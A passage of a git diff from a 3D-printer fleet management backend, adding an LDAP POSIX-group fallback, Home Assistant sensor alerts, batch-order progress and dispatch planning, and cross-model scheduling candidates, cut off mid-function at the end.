+        async with httpx.AsyncClient(timeout=self.timeout) as client:
+
+            async def _one(entity_id: str) -> tuple[str, dict | None]:
+                try:
+                    response = await client.get(
+                        f"{self.base_url}/api/states/{entity_id}",
+                        headers=self._headers(),
+                    )
+                    response.raise_for_status()
+                    return entity_id, response.json()
+                except Exception as e:
+                    logger.debug("Failed to read HA entity %s: %s", entity_id, e)
+                    return entity_id, None
+
+            results = await asyncio.gather(*(_one(e) for e in entity_ids))
+
+        return dict(results)
+
+
+def as_float(value) -> float | None:
+    """Parse a HA state to a number, or None for "unknown"/"unavailable"/text."""
+    try:
+        return float(value)
+    except (TypeError, ValueError):
+        return None
+
 
 
 # Singleton instance
 # Singleton instance
 homeassistant_service = HomeAssistantService()
 homeassistant_service = HomeAssistantService()

+ 42 - 18
backend/app/services/ldap_service.py

@@ -14,6 +14,7 @@ import logging
 from dataclasses import dataclass
 from dataclasses import dataclass
 
 
 from ldap3 import ALL, SUBTREE, Connection, Server, Tls
 from ldap3 import ALL, SUBTREE, Connection, Server, Tls
+from ldap3.core.exceptions import LDAPObjectClassError
 
 
 logger = logging.getLogger(__name__)
 logger = logging.getLogger(__name__)
 
 
@@ -155,32 +156,55 @@ def _extract_user_info(
 
 
     canonical_username = _pick_canonical_username(user_entry, fallback_username)
     canonical_username = _pick_canonical_username(user_entry, fallback_username)
 
 
-    # Also search for POSIX groups (memberUid-based) using the service account
-    posix_filter = f"(&(objectClass=posixGroup)(memberUid={_ldap_escape(canonical_username)}))"
-    service_conn.search(
-        search_base=config.search_base,
-        search_filter=posix_filter,
-        search_scope=SUBTREE,
-        attributes=["cn"],
-    )
-    for entry in service_conn.entries:
-        groups.append(str(entry.entry_dn))
-
-    # POSIX primary group: user's gidNumber matches a posixGroup's gidNumber.
-    # Standard Unix semantics treat this as full group membership, so we need
-    # to resolve it to a group DN alongside the memberUid results.
-    if hasattr(user_entry, "gidNumber") and user_entry.gidNumber:
-        primary_gid = str(user_entry.gidNumber)
-        primary_filter = f"(&(objectClass=posixGroup)(gidNumber={_ldap_escape(primary_gid)}))"
+    # Also search for POSIX groups, both the memberUid kind and the primary
+    # gidNumber kind. Both filters name the posixGroup object class, and ldap3
+    # validates that name against the schema it fetched at connect time
+    # (get_info=ALL) before it builds the request — so on a directory that
+    # publishes a schema without posixGroup it raises client-side and nothing is
+    # ever sent. A directory with no posixGroup class has no posixGroup entries,
+    # which is exactly the answer the searches would have returned, so the
+    # correct response is to carry on with the memberOf groups collected above.
+    #
+    # Left uncaught, that exception escaped authenticate_ldap_user, and the login
+    # route reports any LDAP error as "Incorrect username or password" — so an
+    # lldap user, whose accounts carry posixAccount but whose directory defines
+    # no group classes beyond groupOfNames, could never log in and had nothing
+    # but a wrong-password message to go on (#2769). This predates the primary
+    # gidNumber lookup: the memberUid filter has named the class since #794.
+    try:
+        posix_filter = f"(&(objectClass=posixGroup)(memberUid={_ldap_escape(canonical_username)}))"
         service_conn.search(
         service_conn.search(
             search_base=config.search_base,
             search_base=config.search_base,
-            search_filter=primary_filter,
+            search_filter=posix_filter,
             search_scope=SUBTREE,
             search_scope=SUBTREE,
             attributes=["cn"],
             attributes=["cn"],
         )
         )
         for entry in service_conn.entries:
         for entry in service_conn.entries:
             groups.append(str(entry.entry_dn))
             groups.append(str(entry.entry_dn))
 
 
+        # POSIX primary group: user's gidNumber matches a posixGroup's gidNumber.
+        # Standard Unix semantics treat this as full group membership, so we need
+        # to resolve it to a group DN alongside the memberUid results.
+        if hasattr(user_entry, "gidNumber") and user_entry.gidNumber:
+            primary_gid = str(user_entry.gidNumber)
+            primary_filter = f"(&(objectClass=posixGroup)(gidNumber={_ldap_escape(primary_gid)}))"
+            service_conn.search(
+                search_base=config.search_base,
+                search_filter=primary_filter,
+                search_scope=SUBTREE,
+                attributes=["cn"],
+            )
+            for entry in service_conn.entries:
+                groups.append(str(entry.entry_dn))
+    except LDAPObjectClassError:
+        # Logged once per authentication, at info: it is the explanation for a
+        # user's POSIX groups being absent from their mapping, and it is not an
+        # error the operator can or should act on.
+        logger.info(
+            "Directory publishes no posixGroup object class; skipping POSIX group lookup "
+            "(memberOf groups are unaffected)"
+        )
+
     # Dedupe group DNs (user may be in a group via both memberUid and primary gidNumber).
     # Dedupe group DNs (user may be in a group via both memberUid and primary gidNumber).
     # Case-insensitive comparison — LDAP DNs are case-insensitive by spec.
     # Case-insensitive comparison — LDAP DNs are case-insensitive by spec.
     seen_lower: set[str] = set()
     seen_lower: set[str] = set()

+ 19 - 0
backend/app/services/library_trash.py

@@ -27,6 +27,7 @@ from sqlalchemy.ext.asyncio import AsyncSession
 from backend.app.core.config import settings as app_settings
 from backend.app.core.config import settings as app_settings
 from backend.app.core.database import async_session
 from backend.app.core.database import async_session
 from backend.app.models.library import LibraryFile
 from backend.app.models.library import LibraryFile
+from backend.app.models.print_queue import PrintQueueVariant
 from backend.app.models.settings import Settings
 from backend.app.models.settings import Settings
 
 
 logger = logging.getLogger(__name__)
 logger = logging.getLogger(__name__)
@@ -351,6 +352,7 @@ class LibraryTrashService:
         for row in rows:
         for row in rows:
             self._unlink_on_disk(row)
             self._unlink_on_disk(row)
             deleted += 1
             deleted += 1
+        await delete_dependent_variants(db, [r.id for r in rows])
         # Single DELETE is faster than N await db.delete() round-trips; we
         # Single DELETE is faster than N await db.delete() round-trips; we
         # still need the Python loop above to unlink bytes on disk.
         # still need the Python loop above to unlink bytes on disk.
         await db.execute(delete(LibraryFile).where(LibraryFile.id.in_([r.id for r in rows])))
         await db.execute(delete(LibraryFile).where(LibraryFile.id.in_([r.id for r in rows])))
@@ -383,8 +385,25 @@ class LibraryTrashService:
     async def hard_delete_now(self, db: AsyncSession, file: LibraryFile) -> None:
     async def hard_delete_now(self, db: AsyncSession, file: LibraryFile) -> None:
         """Bypass retention and delete this trashed file + its bytes immediately."""
         """Bypass retention and delete this trashed file + its bytes immediately."""
         self._unlink_on_disk(file)
         self._unlink_on_disk(file)
+        await delete_dependent_variants(db, [file.id])
         await db.delete(file)
         await db.delete(file)
         await db.commit()
         await db.commit()
 
 
 
 
+async def delete_dependent_variants(db: AsyncSession, file_ids: list[int]) -> None:
+    """Drop cross-model queue candidates that pointed at these files (#671).
+
+    SQLite ships with ``PRAGMA foreign_keys`` off — verified, not assumed — so
+    the ON DELETE CASCADE on ``print_queue_variants.library_file_id`` never fires
+    on the default deployment and the rows would outlive the file.
+
+    The scheduler already refuses to dispatch a candidate whose file is missing
+    or trashed, so nothing prints wrongly without this. It is here so the table
+    does not fill with rows referencing files that no longer exist.
+    """
+    if not file_ids:
+        return
+    await db.execute(delete(PrintQueueVariant).where(PrintQueueVariant.library_file_id.in_(file_ids)))
+
+
 library_trash_service = LibraryTrashService()
 library_trash_service = LibraryTrashService()

+ 37 - 0
backend/app/services/notification_service.py

@@ -1729,6 +1729,43 @@ class NotificationService:
             providers, title, message, db, "bed_cooled", printer_id, printer_name, variables=variables
             providers, title, message, db, "bed_cooled", printer_id, printer_name, variables=variables
         )
         )
 
 
+    async def on_ha_sensor_alert(
+        self,
+        printer_id: int,
+        printer_name: str,
+        sensor_name: str,
+        state: str,
+        db: AsyncSession,
+    ):
+        """A Home Assistant sensor bound to a printer entered its alert state (#1148).
+
+        Sent immediately rather than folded into a digest: the case this exists
+        for is an enclosure door left open, which is only worth telling someone
+        about while they can still act on it.
+        """
+        providers = await self._get_providers_for_event(db, "on_ha_sensor_alert", printer_id)
+        if not providers:
+            return
+
+        variables = {
+            "printer": printer_name,
+            "sensor": sensor_name,
+            "state": state,
+        }
+
+        title, message = await self._build_message_from_template(db, "ha_sensor_alert", variables)
+        await self._send_to_providers(
+            providers,
+            title,
+            message,
+            db,
+            "ha_sensor_alert",
+            printer_id,
+            printer_name,
+            force_immediate=True,
+            variables=variables,
+        )
+
     async def on_first_layer_complete(
     async def on_first_layer_complete(
         self,
         self,
         printer_id: int,
         printer_id: int,

+ 541 - 0
backend/app/services/print_batch.py

@@ -0,0 +1,541 @@
+"""Batch order planning: per-plate targets, progress, and staged dispatch (#342).
+
+A batch stores *intent* in :class:`PrintBatchPlate` rows — "this order wants 3
+of plate 2" — while its queue items record what was actually dispatched.
+Everything here derives one from the other.
+
+The distinction matters for exactly one reason, and it is the reason the
+feature exists: a failed or cancelled run does not count towards the target, so
+``remaining`` goes back up and the order still says it owes a print. A design
+that only counted the items it created could not tell "the user cancelled this
+deliberately" apart from "this one burned and needs reprinting".
+
+Batches created before targets existed have no plate rows. They still report
+progress — the plate breakdown is derived from their queue items and every
+target simply equals the number of items dispatched, so ``remaining`` is zero
+and the dispatch endpoint has nothing to do. ``has_targets`` tells callers
+which kind of batch they are looking at.
+"""
+
+import logging
+from dataclasses import dataclass, field
+from datetime import datetime, timezone
+
+from sqlalchemy import func, select, text
+from sqlalchemy.ext.asyncio import AsyncSession
+from sqlalchemy.orm import selectinload
+
+from backend.app.models.print_batch import PrintBatch, PrintBatchPlate
+from backend.app.models.print_log import PrintLogEntry
+from backend.app.models.print_queue import PrintQueueItem, PrintQueueVariant
+
+logger = logging.getLogger(__name__)
+
+# Statuses that consume a unit of the target. "printing" counts because the
+# run is in flight — re-dispatching it would double-print. "failed",
+# "cancelled" and "skipped" deliberately do not.
+CONSUMING_STATUSES = ("pending", "printing", "completed")
+
+# Queue statuses the roll-up has a counter for. Anything else is ignored rather
+# than crashing the page — the queue's status vocabulary is allowed to grow
+# without this module having to be updated in lockstep.
+COUNTED_STATUSES = ("pending", "printing", "completed", "failed", "cancelled", "skipped")
+
+# Columns copied onto a clone when dispatching more of a plate. This is the
+# print *configuration* the user already chose and the API already validated —
+# copying the row is what keeps a second dispatch identical to the first
+# without re-serialising twenty fields through a template blob that would drift
+# from the model the first time someone adds a column.
+CLONED_SETTING_COLUMNS = (
+    "printer_id",
+    "target_model",
+    "target_location",
+    "required_filament_types",
+    "archive_id",
+    "library_file_id",
+    "project_id",
+    "batch_id",
+    "ams_mapping",
+    "filament_overrides",
+    "plate_id",
+    "print_time_seconds",
+    "gcode_injection",
+    "nozzle_mapping",
+    "require_previous_success",
+    "auto_off_after",
+    "manual_start",
+    "bed_levelling",
+    "flow_cali",
+    "vibration_cali",
+    "layer_inspect",
+    "timelapse",
+    "use_ams",
+    "nozzle_offset_cali",
+    "preheat_override",
+    "preheat_chamber_target_override",
+    "skip_filament_check",
+)
+
+CLONED_VARIANT_COLUMNS = (
+    "position",
+    "library_file_id",
+    "target_model",
+    "plate_id",
+    "ams_mapping",
+    "nozzle_mapping",
+    "filament_overrides",
+    "required_filament_types",
+    "print_time_seconds",
+)
+
+
+class BatchDispatchError(Exception):
+    """Raised when more runs are owed but nothing can be cloned to produce them."""
+
+
+@dataclass
+class PlateProgress:
+    """Per-plate roll-up for one batch."""
+
+    plate_id: int | None
+    plate_name: str | None
+    quantity_target: int
+    sort_order: int = 0
+    pending: int = 0
+    printing: int = 0
+    completed: int = 0
+    failed: int = 0
+    cancelled: int = 0
+    skipped: int = 0
+    # Actual material + energy cost of this plate's finished runs. None when no
+    # run has produced a cost yet — reported as "unknown", never as zero.
+    actual_cost: float | None = None
+    filament_used_grams: float | None = None
+    print_time_seconds: int = 0
+
+    @property
+    def dispatched(self) -> int:
+        return self.pending + self.printing + self.completed
+
+    @property
+    def remaining(self) -> int:
+        return max(0, self.quantity_target - self.dispatched)
+
+    @property
+    def cost_per_run(self) -> float | None:
+        """Observed mean cost of this plate's completed runs, or None.
+
+        Deliberately measured rather than estimated from the file: the file's
+        estimate ignores what the run actually consumed, and a plate that has
+        never completed has no honest number to show.
+        """
+        if self.completed <= 0 or self.actual_cost is None:
+            return None
+        return self.actual_cost / self.completed
+
+    @property
+    def estimated_remaining_cost(self) -> float | None:
+        per_run = self.cost_per_run
+        if per_run is None:
+            return None
+        return per_run * self.remaining
+
+
+@dataclass
+class BatchProgress:
+    """Whole-order roll-up, plus the per-plate breakdown it was derived from."""
+
+    plates: list[PlateProgress] = field(default_factory=list)
+    has_targets: bool = False
+
+    def _sum(self, attr: str) -> int:
+        return sum(getattr(p, attr) for p in self.plates)
+
+    @property
+    def pending(self) -> int:
+        return self._sum("pending")
+
+    @property
+    def printing(self) -> int:
+        return self._sum("printing")
+
+    @property
+    def completed(self) -> int:
+        return self._sum("completed")
+
+    @property
+    def failed(self) -> int:
+        return self._sum("failed")
+
+    @property
+    def cancelled(self) -> int:
+        return self._sum("cancelled")
+
+    @property
+    def skipped(self) -> int:
+        return self._sum("skipped")
+
+    @property
+    def target(self) -> int:
+        return self._sum("quantity_target")
+
+    @property
+    def remaining(self) -> int:
+        return self._sum("remaining")
+
+    @property
+    def actual_cost(self) -> float | None:
+        costs = [p.actual_cost for p in self.plates if p.actual_cost is not None]
+        return sum(costs) if costs else None
+
+    @property
+    def estimated_remaining_cost(self) -> float | None:
+        estimates = [p.estimated_remaining_cost for p in self.plates if p.estimated_remaining_cost is not None]
+        return sum(estimates) if estimates else None
+
+    @property
+    def filament_used_grams(self) -> float | None:
+        grams = [p.filament_used_grams for p in self.plates if p.filament_used_grams is not None]
+        return sum(grams) if grams else None
+
+    @property
+    def print_time_seconds(self) -> int:
+        return self._sum("print_time_seconds")
+
+    @property
+    def is_fulfilled(self) -> bool:
+        """True when every target is met and nothing is still in flight.
+
+        A zero total target is never "fulfilled". Without that guard a legacy
+        batch whose items were all cancelled one by one would report itself
+        completed — its derived target counts only pending/printing/completed
+        items, so cancelling the lot leaves a target of zero that trivially
+        satisfies ``remaining == 0``.
+        """
+        return self.target > 0 and self.remaining == 0 and self.pending == 0 and self.printing == 0
+
+
+async def load_progress(db: AsyncSession, batch: PrintBatch) -> BatchProgress:
+    """Build the per-plate progress roll-up for *batch*.
+
+    Two queries plus one for costs, regardless of how many plates the order
+    has — this runs once per batch in the list endpoint.
+    """
+    plate_rows = (await db.execute(select(PrintBatchPlate).where(PrintBatchPlate.batch_id == batch.id))).scalars().all()
+
+    # (plate_id, status) -> count, plus the time/weight actually recorded.
+    item_rows = (
+        await db.execute(
+            select(
+                PrintQueueItem.plate_id,
+                PrintQueueItem.status,
+                func.count(PrintQueueItem.id),
+                func.sum(PrintQueueItem.print_time_seconds),
+            )
+            .where(PrintQueueItem.batch_id == batch.id)
+            .group_by(PrintQueueItem.plate_id, PrintQueueItem.status)
+        )
+    ).all()
+
+    # Per-run actuals, attributed through the queue item that produced them.
+    # PrintLogEntry is the authoritative per-run record (#1378) and is already
+    # scoped to the printed plate (#2614), so a multi-plate order gets each
+    # plate's own cost rather than the whole file's.
+    cost_rows = (
+        await db.execute(
+            select(
+                PrintQueueItem.plate_id,
+                func.sum(func.coalesce(PrintLogEntry.cost, 0.0) + func.coalesce(PrintLogEntry.energy_cost, 0.0)),
+                func.sum(PrintLogEntry.filament_used_grams),
+            )
+            .select_from(PrintLogEntry)
+            .join(PrintQueueItem, PrintLogEntry.queue_item_id == PrintQueueItem.id)
+            .where(PrintQueueItem.batch_id == batch.id)
+            .group_by(PrintQueueItem.plate_id)
+        )
+    ).all()
+    costs = {row[0]: (row[1], row[2]) for row in cost_rows}
+
+    progress = BatchProgress(has_targets=bool(plate_rows))
+    by_plate: dict[int | None, PlateProgress] = {}
+
+    for row in plate_rows:
+        by_plate[row.plate_id] = PlateProgress(
+            plate_id=row.plate_id,
+            plate_name=row.plate_name,
+            quantity_target=row.quantity_target,
+            sort_order=row.sort_order,
+        )
+
+    for plate_id, status, count, time_sum in item_rows:
+        plate = by_plate.get(plate_id)
+        if plate is None:
+            # A queue item for a plate the order has no target row for: either
+            # a legacy batch, or an item grouped in by hand after the fact.
+            # Its own dispatched count becomes its target so it reads as
+            # complete rather than as owing work nobody asked for.
+            plate = PlateProgress(plate_id=plate_id, plate_name=None, quantity_target=0, sort_order=plate_id or 0)
+            by_plate[plate_id] = plate
+            if status in CONSUMING_STATUSES:
+                plate.quantity_target += count
+        elif not progress.has_targets and status in CONSUMING_STATUSES:
+            plate.quantity_target += count
+        if status in COUNTED_STATUSES:
+            setattr(plate, status, getattr(plate, status) + count)
+        else:
+            logger.debug("Batch %s: ignoring queue item status %r in progress roll-up", batch.id, status)
+        plate.print_time_seconds += int(time_sum or 0)
+
+    for plate_id, (cost_sum, gram_sum) in costs.items():
+        plate = by_plate.get(plate_id)
+        if plate is None:
+            continue
+        plate.actual_cost = float(cost_sum) if cost_sum else None
+        plate.filament_used_grams = float(gram_sum) if gram_sum else None
+
+    progress.plates = sorted(by_plate.values(), key=lambda p: (p.sort_order, p.plate_id or 0))
+    return progress
+
+
+async def refresh_batch_status(db: AsyncSession, batch: PrintBatch) -> bool:
+    """Flip an ``active`` batch to ``completed`` once its targets are met.
+
+    Returns True when the status changed. A ``cancelled`` batch is never
+    resurrected, and a ``completed`` batch drops back to ``active`` if its
+    targets grow — raising a target on a finished order reopens it rather than
+    leaving a "completed" order that still owes prints.
+    """
+    progress = await load_progress(db, batch)
+
+    if batch.status == "cancelled":
+        return False
+
+    if batch.status == "active" and progress.is_fulfilled:
+        batch.status = "completed"
+        batch.completed_at = datetime.now(timezone.utc)
+        logger.info("Batch %s fulfilled — marked completed", batch.id)
+        return True
+
+    # A grouping whose every item was cancelled one at a time is finished, but
+    # nothing was produced, so "completed" would be a lie and `is_fulfilled`
+    # rightly refuses it (its derived target is zero). Left alone it would sit
+    # on "active" forever. Cancelled is what it is, and matches what the
+    # batch-level Cancel action would have set had it been used.
+    #
+    # Deliberately not applied to orders: an order states its intent
+    # independently of its runs, so cancelling every run still leaves it owing
+    # work and offering to re-queue it. A grouping has no such statement — it
+    # was only ever the sum of its items.
+    if batch.status == "active" and not progress.has_targets and progress.completed == 0:
+        settled = progress.pending == 0 and progress.printing == 0
+        if settled and progress.cancelled > 0 and progress.failed == 0 and progress.skipped == 0:
+            batch.status = "cancelled"
+            logger.info("Batch %s had every item cancelled — marked cancelled", batch.id)
+            return True
+
+    if batch.status == "completed" and not progress.is_fulfilled:
+        batch.status = "active"
+        batch.completed_at = None
+        logger.info("Batch %s reopened — targets no longer met", batch.id)
+        return True
+
+    return False
+
+
+async def backfill_batch_statuses(db: AsyncSession) -> int:
+    """Close out ``active`` batches that finished before the status existed.
+
+    ``completed`` only became reachable with #342. Every batch created since
+    the feature shipped in April 2026 is therefore still marked ``active``,
+    however long ago its last run finished — so without this pass the Batches
+    tab opens on months of accumulated history.
+
+    Runs on every startup rather than once behind a marker: it is cheap (only
+    batches with nothing in flight are even considered), it is idempotent, and
+    repeating it also closes out any order whose last run landed while the
+    process was down.
+
+    Returns the number of batches whose status changed.
+    """
+    candidates = (
+        (
+            await db.execute(
+                select(PrintBatch)
+                .where(PrintBatch.status == "active")
+                # Anything still queued or printing is by definition unfinished,
+                # and re-deriving its progress would change nothing.
+                .where(
+                    ~select(PrintQueueItem.id)
+                    .where(PrintQueueItem.batch_id == PrintBatch.id)
+                    .where(PrintQueueItem.status.in_(("pending", "printing")))
+                    .exists()
+                )
+            )
+        )
+        .scalars()
+        .all()
+    )
+
+    changed = 0
+    for batch in candidates:
+        if await refresh_batch_status(db, batch):
+            changed += 1
+
+    if changed:
+        await db.commit()
+        logger.info("Marked %d finished batch(es) as completed at startup (#342)", changed)
+    return changed
+
+
+async def refresh_batch_status_for_item(db: AsyncSession, queue_item_id: int) -> None:
+    """Re-evaluate the batch owning *queue_item_id*, if it has one.
+
+    Called from the print-completion path so a finished order reports itself
+    complete the moment its last run lands, rather than whenever someone next
+    opens the page.
+    """
+    batch_id = (
+        await db.execute(select(PrintQueueItem.batch_id).where(PrintQueueItem.id == queue_item_id))
+    ).scalar_one_or_none()
+    if batch_id is None:
+        return
+    batch = (await db.execute(select(PrintBatch).where(PrintBatch.id == batch_id))).scalar_one_or_none()
+    if batch is None:
+        return
+    await refresh_batch_status(db, batch)
+
+
+async def _next_position(db: AsyncSession, printer_id: int | None) -> int:
+    """Next free queue position in the scope a clone will land in.
+
+    Positions are per-queue, not global: one sequence per printer plus one
+    shared sequence for unassigned / model-based items, matching the scope the
+    add-to-queue route uses. Taking a global MAX here would drop every clone
+    at the end of whichever printer's queue happens to be longest and scramble
+    the order the user sees.
+    """
+    # Same advisory lock the add-to-queue route takes (#1625-followup): two
+    # concurrent inserts into an empty scope would otherwise both read
+    # MAX(position) as 0 and land on position 1. SQLite serialises writes
+    # implicitly and needs no equivalent.
+    bind = db.get_bind()
+    if bind.dialect.name == "postgresql":
+        await db.execute(
+            text("SELECT pg_advisory_xact_lock(1625, :k)"), {"k": printer_id if printer_id is not None else 0}
+        )
+
+    scope = PrintQueueItem.printer_id == printer_id if printer_id is not None else PrintQueueItem.printer_id.is_(None)
+    max_pos = (
+        await db.execute(
+            select(func.max(PrintQueueItem.position)).where(scope).where(PrintQueueItem.status == "pending")
+        )
+    ).scalar() or 0
+    return max_pos + 1
+
+
+def _clone_queue_item(source: PrintQueueItem, *, position: int, created_by_id: int | None) -> PrintQueueItem:
+    """Copy *source*'s print configuration into a fresh pending item.
+
+    Lifecycle state (status, timestamps, retry counters, scheduler flags) is
+    deliberately not copied — the clone is a new run, not a resurrection.
+
+    ``scheduled_time`` is dropped too: dispatching more of a plate is a
+    "queue this now" action, and replaying the original's scheduled time would
+    either fire immediately (it is in the past) or silently park the new run
+    until a moment the user chose for a different print.
+
+    ``cleanup_library_after_dispatch`` is forced off. It only ever comes from
+    the Printers-page direct-print flow, where it deletes the transient library
+    row after dispatch — replaying that on a clone would delete the source file
+    out from under the rest of the order.
+    """
+    clone = PrintQueueItem(
+        status="pending",
+        position=position,
+        created_by_id=created_by_id if created_by_id is not None else source.created_by_id,
+        cleanup_library_after_dispatch=False,
+    )
+    for column in CLONED_SETTING_COLUMNS:
+        setattr(clone, column, getattr(source, column))
+    return clone
+
+
+async def dispatch_remaining(
+    db: AsyncSession,
+    batch: PrintBatch,
+    *,
+    plate_id: int | None = None,
+    only_plate: bool = False,
+    limit: int | None = None,
+    created_by_id: int | None = None,
+) -> list[PrintQueueItem]:
+    """Create queue items for the runs *batch* still owes.
+
+    ``only_plate`` restricts the dispatch to the single plate named by
+    ``plate_id`` (which may legitimately be ``None`` for a single-plate file);
+    otherwise every plate with work outstanding is dispatched in plate order.
+    ``limit`` caps the total number of items created across all plates.
+
+    Raises :class:`BatchDispatchError` when a plate owes runs but has no
+    existing item to clone — the order can describe work it has never once
+    dispatched, and there is no configuration to copy in that case.
+    """
+    progress = await load_progress(db, batch)
+    if not progress.has_targets:
+        return []
+
+    targets = [p for p in progress.plates if p.remaining > 0]
+    if only_plate:
+        targets = [p for p in targets if p.plate_id == plate_id]
+
+    created: list[PrintQueueItem] = []
+
+    for plate in targets:
+        if limit is not None and len(created) >= limit:
+            break
+
+        source = (
+            await db.execute(
+                select(PrintQueueItem)
+                .options(selectinload(PrintQueueItem.variants))
+                .where(PrintQueueItem.batch_id == batch.id)
+                .where(PrintQueueItem.plate_id == plate.plate_id)
+                .order_by(PrintQueueItem.id.desc())
+                .limit(1)
+            )
+        ).scalar_one_or_none()
+
+        if source is None:
+            raise BatchDispatchError(
+                f"Plate {plate.plate_id if plate.plate_id is not None else 1} has no queued or finished run to "
+                "copy settings from. Queue it once from the file, then dispatch the rest from here."
+            )
+
+        wanted = plate.remaining
+        if limit is not None:
+            wanted = min(wanted, limit - len(created))
+
+        # One scope per source printer; clones for this plate all land in it,
+        # appended after whatever is already queued there.
+        position = await _next_position(db, source.printer_id)
+
+        for _ in range(wanted):
+            clone = _clone_queue_item(source, position=position, created_by_id=created_by_id)
+            position += 1
+            db.add(clone)
+            await db.flush()
+            for variant in source.variants:
+                cloned_variant = PrintQueueVariant(queue_item_id=clone.id)
+                for column in CLONED_VARIANT_COLUMNS:
+                    setattr(cloned_variant, column, getattr(variant, column))
+                db.add(cloned_variant)
+            created.append(clone)
+
+    if created:
+        # Dispatching more work can only ever un-fulfil an order, but run the
+        # check anyway so a reopened batch flips back from completed.
+        await db.flush()
+        await refresh_batch_status(db, batch)
+
+    logger.info("Dispatched %d item(s) for batch %s", len(created), batch.id)
+    return created

+ 2 - 0
backend/app/services/print_log.py

@@ -18,6 +18,7 @@ async def write_log_entry(
     *,
     *,
     status: str,
     status: str,
     archive_id: int | None = None,
     archive_id: int | None = None,
+    queue_item_id: int | None = None,
     print_name: str | None = None,
     print_name: str | None = None,
     printer_name: str | None = None,
     printer_name: str | None = None,
     printer_id: int | None = None,
     printer_id: int | None = None,
@@ -56,6 +57,7 @@ async def write_log_entry(
 
 
     entry = PrintLogEntry(
     entry = PrintLogEntry(
         archive_id=archive_id,
         archive_id=archive_id,
+        queue_item_id=queue_item_id,
         print_name=print_name,
         print_name=print_name,
         printer_name=printer_name,
         printer_name=printer_name,
         printer_id=printer_id,
         printer_id=printer_id,

+ 652 - 95
backend/app/services/print_scheduler.py

@@ -4,6 +4,7 @@ import asyncio
 import json
 import json
 import logging
 import logging
 import time
 import time
+from dataclasses import dataclass
 from datetime import datetime, timezone
 from datetime import datetime, timezone
 from pathlib import Path
 from pathlib import Path
 
 
@@ -18,7 +19,7 @@ from backend.app.core.tasks import spawn_background_task
 from backend.app.core.websocket import ws_manager
 from backend.app.core.websocket import ws_manager
 from backend.app.models.archive import PrintArchive
 from backend.app.models.archive import PrintArchive
 from backend.app.models.library import LibraryFile
 from backend.app.models.library import LibraryFile
-from backend.app.models.print_queue import PrintQueueItem
+from backend.app.models.print_queue import PrintQueueItem, PrintQueueVariant
 from backend.app.models.printer import Printer
 from backend.app.models.printer import Printer
 from backend.app.models.settings import Settings
 from backend.app.models.settings import Settings
 from backend.app.models.smart_plug import SmartPlug
 from backend.app.models.smart_plug import SmartPlug
@@ -40,6 +41,7 @@ from backend.app.services.finance_budget import (
     release_budget_reservation,
     release_budget_reservation,
     validate_print_budget,
     validate_print_budget,
 )
 )
+from backend.app.services.ha_sensor_manager import ha_sensor_manager
 from backend.app.services.notification_service import notification_service
 from backend.app.services.notification_service import notification_service
 from backend.app.services.printer_manager import (
 from backend.app.services.printer_manager import (
     printer_manager,
     printer_manager,
@@ -162,6 +164,135 @@ def _canonical_filament_type(ftype: str) -> str:
     return _FILAMENT_EQUIV_MAP.get(upper, upper)
     return _FILAMENT_EQUIV_MAP.get(upper, upper)
 
 
 
 
+@dataclass(slots=True)
+class _ModelCandidate:
+    """One (file, printer model) pair the model-based matcher may try.
+
+    Model-based assignment used to have exactly one of these per item, held
+    directly in the item's own columns. Cross-model queue items (#671) have
+    several, held in ``print_queue_variants``. Both shapes are normalised into
+    this so the matching, the cross-model gate and the waiting-reason handling
+    are written once and an item without variants provably takes the same path
+    it took before variants existed.
+
+    ``variant`` is None for the item's own columns and set for a real variant
+    row, which is what :meth:`PrintScheduler._resolve_variant` writes onto the
+    item once that candidate wins.
+    """
+
+    target_model: str | None
+    sliced_for: str | None
+    required_filament_types: str | None
+    filament_overrides: str | None
+    variant: "PrintQueueVariant | None" = None
+
+
+def _sliced_for_model(archive, library_file) -> str | None:
+    """Model a 3MF declares it was sliced for, from whichever source holds it."""
+    if archive is not None:
+        return archive.sliced_for_model
+    if library_file is not None and library_file.file_metadata:
+        return library_file.file_metadata.get("sliced_for_model")
+    return None
+
+
+def _candidates_for(item: PrintQueueItem) -> list[_ModelCandidate]:
+    """Candidate files for ``item``, best first.
+
+    An item with no variant rows yields exactly one candidate built from its own
+    columns — the pre-#671 behaviour, unchanged.
+
+    Variants come back least-attempted first, ties broken by the user's
+    ``position``. On the first pass every count is zero, so this is purely the
+    user's priority order. After a start-watchdog bounce the printer that failed
+    drops behind, so the next lap tries the other machine rather than spending the
+    item's whole retry budget on the one that is wedged. Once every candidate has
+    been tried equally often they cycle again, which keeps the item-level
+    ``DISPATCH_MAX_ATTEMPTS`` bound from #2555 intact — a job with alternatives
+    still gives up, it just does not give up without trying them.
+    """
+    if not item.variants:
+        if not item.archive_id and not item.library_file_id:
+            # Nothing to print at all. Dispatching would fail deep in the upload
+            # on "No archive_id or library_file_id"; the caller holds the item
+            # with an explanation instead.
+            return []
+        return [
+            _ModelCandidate(
+                target_model=item.target_model,
+                sliced_for=_sliced_for_model(item.archive, item.library_file),
+                required_filament_types=item.required_filament_types,
+                filament_overrides=item.filament_overrides,
+            )
+        ]
+
+    # Drop candidates whose file is gone or in the trash. Both are reachable and
+    # neither is covered by the schema: library deletes are soft (the row lives
+    # on with ``deleted_at`` set, which no foreign key can express), and SQLite
+    # ships with ``PRAGMA foreign_keys`` off, so the ON DELETE CASCADE never
+    # fires there and a hard delete leaves the variant row pointing at nothing.
+    usable = [v for v in item.variants if v.library_file is not None and v.library_file.deleted_at is None]
+
+    ordered = sorted(usable, key=lambda v: (v.attempt_count or 0, v.position, v.id))
+    return [
+        _ModelCandidate(
+            target_model=v.target_model,
+            sliced_for=_sliced_for_model(None, v.library_file),
+            required_filament_types=v.required_filament_types,
+            filament_overrides=v.filament_overrides,
+            variant=v,
+        )
+        for v in ordered
+    ]
+
+
+def _collapse_waiting_reasons(per_model: list[tuple[str | None, str]]) -> str | None:
+    """Fold one waiting reason per candidate into a single line for the item.
+
+    A cross-model item produces a reason per candidate, and pasting them
+    together unlabelled reads as gibberish ("No idle printer; PETG not loaded"
+    — on which machine?). Each reason is prefixed with its model, except in the
+    single-candidate case where the item already displays its target model and
+    the prefix would be noise.
+
+    Identical reasons collapse rather than repeat, so three idle-less models
+    read as one clause.
+
+    When *every* candidate is merely busy the parts are joined with the ``" | "``
+    separator :meth:`PrintScheduler._is_busy_only` already parses, and left
+    unprefixed. That case must keep testing busy-only: a fleet that is simply
+    printing needs no user action, and labelling the clauses would turn each pass
+    over a two-model item into a "job waiting" notification.
+    """
+    reasons = [(model, reason) for model, reason in per_model if reason]
+    if not reasons:
+        return None
+    if len(reasons) == 1:
+        return reasons[0][1]
+
